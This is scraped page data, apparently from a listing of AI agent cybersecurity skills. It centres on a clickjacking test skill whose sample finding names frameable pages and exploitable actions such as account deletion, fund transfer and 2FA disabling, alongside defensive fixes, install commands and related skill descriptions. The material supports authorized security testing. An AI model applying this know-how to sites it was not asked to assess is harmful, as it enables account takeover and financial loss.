Clickjacking Vulnerability Finding\n\n**Vulnerability**: Clickjacking - Missing Frame Embedding Protection\n**Severity**: Medium (CVSS 6.1)\n**Location**: \u002Faccount\u002Fsettings, \u002Faccount\u002Fdelete, \u002Ftransfer\n**OWASP Category**: A04:2021 - Insecure Design\n\n### Headers Analysis\n| Page | X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n",{"name":5,"tags":52,"author":53,"domain":45,"license":15,"version":54,"nist_csf":55,"subdomain":29,"description":7,"nist_ai_rmf":60,"mitre_attack":63,"atlas_techniques":68},[40,32,31,36,39,30],"mahipal","1.0",[56,57,58,59],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[61,62],"MEASURE-2.8","MAP-5.1",[64,65,66,67],"T1190","T1059.007","T1505.003","T1083",[69,70],"AML.T0024","AML.T0035","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-clickjacking-attack-test",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":82,"prompt":92,"zipAvailable":93},[83,86,89],{"tool":84,"command":85},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-clickjacking-attack-test",{"tool":87,"command":88},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-clickjacking-attack-test",{"tool":90,"command":91},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-clickjacking-attack-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",true,[95,100,106],{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",2222,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"scripts\u002Fagent.py","SCRIPT","脚本",7479,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Fscripts\u002Fagent.py",[113,138,162,187,213,239],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":120,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[119],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[121,122,123,124,46,45,125,126,42,127,128,129,130,131,132,133,134,135,136,137],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":145,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[144],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[146,134,147,148,46,149,45,42,150,151,152,153,154,155,156,157,158,159,160,161],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":170,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[168,169],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[156,171,172,173,38,45,174,175,150,176,177,178,179,180,181,182,183,184,185,186],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":188,"name":189,"nameZh":6,"description":190,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":191,"categories":192,"keywords":194,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[193],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[195,196,197,45,198,199,200,201,202,203,204,205,206,207,208,209,153,210,211,212],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":220,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[219],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[44,221,222,45,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":246,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[245],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,247,45,248,249,250,251,252,253,254,255,182,256,183,257,258,259,260,261,262],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]